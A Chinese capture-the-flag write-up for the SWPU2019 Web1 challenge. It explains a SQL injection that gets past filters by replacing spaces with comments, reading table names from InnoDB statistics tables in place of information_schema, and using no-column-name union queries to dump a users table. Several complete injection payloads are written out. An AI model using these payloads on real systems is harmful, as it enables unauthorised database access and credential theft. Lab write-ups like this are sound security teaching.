IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> [SWPU2019]Web1 (bypass information_schema,无列名注入) -> 正文阅读

[大数据][SWPU2019]Web1 (bypass information_schema,无列名注入)

打开环境,是个登录框:

注册账号,登录后,有个广告发布,随便输入后查看详情后会回显:

一下子就会想到是xss,于是我试了一下,果然还真存在xss:

?但是后来才知道没用,是个SQL题,注入点在标题那:

?按照步骤来,发现or,#都被过滤,空格会被消除,空格简单,用/**/就能绕过,但order by和information_schema都不能用,那咋判断字段数,不会要用union select一个个试吧(那这个题可能要搞傻),其实还可以用group by:

1'/**/group/**/by/**/22,'3

(注释符#用,'3代替,数字随便,这里的'相当于闭合了输入语句里参数的右引号,变成'3'字符串,此时整个语句没有注释符)

判断出有22个字段,接着用联合注入:

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

?得到数据库名:web1

接着报表名,information_schena不能用,此处要用到其他知识:

我们知道infromation_schema库的作用无非就是可以获取到table_schema,table_name,column_name这些数据库内的信息,下面两种方法能绕过:

1.InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,mysql数据库中inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。其利用方式是:mysql.innodb_index_stats和mysql.innodb_table_stats
2.sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。其用法是sys.schema_auto_increment_columns

经过尝试第一种方法可行:

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

注意: 这个地方一定要在前面可显示的位置2,3用select查出表名,因为union select查的是当前数据库中的内容,且有22个字段,如果将from/**/mysql.innodb_table_stats写在数字后面就查不出。

得到了5张表,但是用上面的InnoDb引擎方法没法查出列名,因为其中没有存储列名,这里就要用到无列名注入了。

先来了解一下原理:

正常的查询是这样的:

在这里插入图片描述

  1. 当我们select 1,2,3的时候。这个就像是一个虚拟的表。列名为1,2,3

  2. 我们将列名为1,2,3然后查询数据

  3. 第一行是我们查询的1,2,3后面跟着表中的数据

在这里插入图片描述

?这就相当于改了表的列名。之后。我们将某一列取出来即可

select `2` from (select 1,2,3 union select * from user)a;
将select 1,2,3的结果拼接到select * from user 的结果,然后将第二列取出来。select 1,2,3要根据表的字段而定,也就是说进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错。语句最后一个字母是别名。像这样就可以查询第二列的数据,在虚拟表中,列名都是1,2,3,所以我们在查询语句中要用 `2` 而不能直接用 2,这就获取到了列名!!

?有些时候程序还会过滤反引号,语句就不能正常执行了。但我们还可以通过别名替代反引号

as 取别名。将select 1,2,3 union select * from user中要查询的一列取别名为b。个人感觉就像是赋值给变量差不多:

?这里都是分列的。可以通过group_concat来拼接字符串一起输出:

晓得了原理后回到这个题,尝试后答案在users表中,在可以用下面的payload:

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

至于为什么有三列(select/**/1,2,3),mysql数据库一般第一列是编号,第二列一般是user之类的,第三列一般都是password:

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-09-27 14:09:28  更:2021-09-27 14:10:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 22:57:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码